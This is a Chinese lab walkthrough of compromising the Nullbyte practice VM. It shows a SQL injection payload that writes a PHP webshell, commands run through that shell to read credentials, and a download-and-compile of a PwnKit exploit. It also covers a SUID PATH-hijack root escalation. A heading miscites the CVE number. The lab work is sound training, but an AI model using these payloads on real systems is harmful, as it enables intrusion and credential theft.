网安社团周报Week3–Nullbyte靶机SQL注入Linux提权

admin 2026-03-03 05:42:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了Nullbyte靶机渗透实战,涵盖Nmap信息搜集、Web目录爆破与图片隐写分析。通过SQL注入写入Webshell获取数据库凭证,解密后登录SSH。提权部分演示了CVE-2021-4034内核漏洞利用与SUID环境变量劫持两种方法。文章步骤详实,适合初学者掌握从信息搜集到提权的完整流程。 综合评分: 84 文章分类: 渗透测试,实战经验,WEB安全


可以看到没什么东西 只有一个gif文件 因为是打靶 可以猜测有图片隐写 查一下图片的exif信息 可以看到一个隐藏的信息

可以直接将这个当作密码来尝试ssh和phpmyadmin进行登录 发现无果 之后发现访问一下这个路径有回显

靶机之后的地址会变成192.168.116.137 换网络环境了(

查看源码可以看到提示 让我们进行爆破密码

<center>
<form&nbsp;method="post"&nbsp;action="index.php">
Key:<br>
<input&nbsp;type="password"&nbsp;name="key">
</form>
</center>
<!-- this form isn't connected to mysql, password ain't that complex --!>

用Yakit的fuzz导入hashmob的small字典爆破即可

注释里面有写密码不复杂 用常用的密码字典就好啦

找到响应长度最不一样的流量包

发现没问题啦 下一步!密码爆破出来为elite

浏览器输入密码发现进入新的页面 成功!

SQL注入-手注-写入Webshell

打开页面发现是一个输入用户名的 输入a测试一下功能

发现可以模糊查询到对应的用户

盲猜这里存在SQL注入 用单引号闭合看一下 发现没有报错

但是双引号进行查询的时候发现报错了 这里可能存在SQL注入

使用ORDER BY语句先查询一下列数 看看是否存在注入

http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 3-- -

发现三列正常查询

但是四列的时候就开始报错了 可以看出列数为三列 而且存在SQL注入 语句写入进去啦

http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 4-- -

知道了列数 使用SQL语法来直接写入webshell 写入到我们之前探测到的/uploads目录

http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php system($_GET['a']); ?>",2,3 into outfile "/var/www/html/uploads/shell.php"; -- -

看到回显 发现语句执行成功

访问发现有回显!上传成功!

执行命令whoami 可以看到权限为www-data低权限

刚刚的页面有查询数据库的功能 所以可以先从刚刚的页面看起 看一下源码

.\curl.exe http://192.168.116.137/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php

成功得到mysql服务的用户和密码

渗透phpmyadmin-获得低权限ssh shell

刚刚得到了mysql的用户密码 之前的时候扫描过目录 知道有个数据库管理站点 用这个密码登录上去

找到一个刻意的库 里面的ramses用户的pass看起来像是base64编码

解码之后发现类似于md5加密

用一个在线的彩虹表查询到密码为omega

使用ssh连接服务器 之前我们知道是777端口啦 用户是ramses

ssh [email protected] -p 777

成功登录 获得低权限shell!

Linux提权

方法一 懒人提权 CVE-2024-4034

该靶机内核版本存在CVE-2021-4034 (PwnKit) 漏洞,且系统自带gcc编译器,因此可以直接下载利用源码进行编译提权。

有gcc的时候用这个挺爽的 这个洞的涵盖范围蛮大的 wget直接下载c文件

wget --no-check-certificate https://github.com/arthepsy/CVE-2021-4034/raw/refs/heads/main/cve-2021-4034-poc.c

使用gcc编译一下c文件

gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

最后执行编译文件 得到root shell

查看proof.txt 打靶成功!

方法二 SUID提权

查询有SUID的文件

find / -perm -4000 -type&nbsp;f -exec&nbsp;ls -la {} 2>/dev/null \;

可以看到里面的 procwatch 很可疑

执行了这个文件后回显如下 其实有点像最后会用SUID的权限执行了一下ps命令的效果

它很可能是一个由root拥有并设置了SUID位的程序,其内部调用了ps命令

那这时候就比较简单了 就是改一下环境变量 并把sh之类的shell名称改为ps 实现软件执行时使用ps命令 实际上用root权限执行sh提权的效果

但由于使用的是相对路径(即只写了ps而不是/bin/ps),所以我们可以通过修改$PATH环境变量,让系统优先执行我们伪造的ps程序。

创建一个sh的软连接 名字为ps

ln -s /bin/sh ps

写入环境变量 将当前目录(.)添加到PATH的最前面

export&nbsp;PATH=.:$PATH

执行procwatch,此时它会调用”ps”,但实际上运行的是我们的/bin/sh,并且是root权限

查看proof.txt 打靶成功!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:志在片语 小志z 小志z《网安社团周报 Week3 – Nullbyte靶机 SQL注入 Linux提权》

评论:0   参与:  0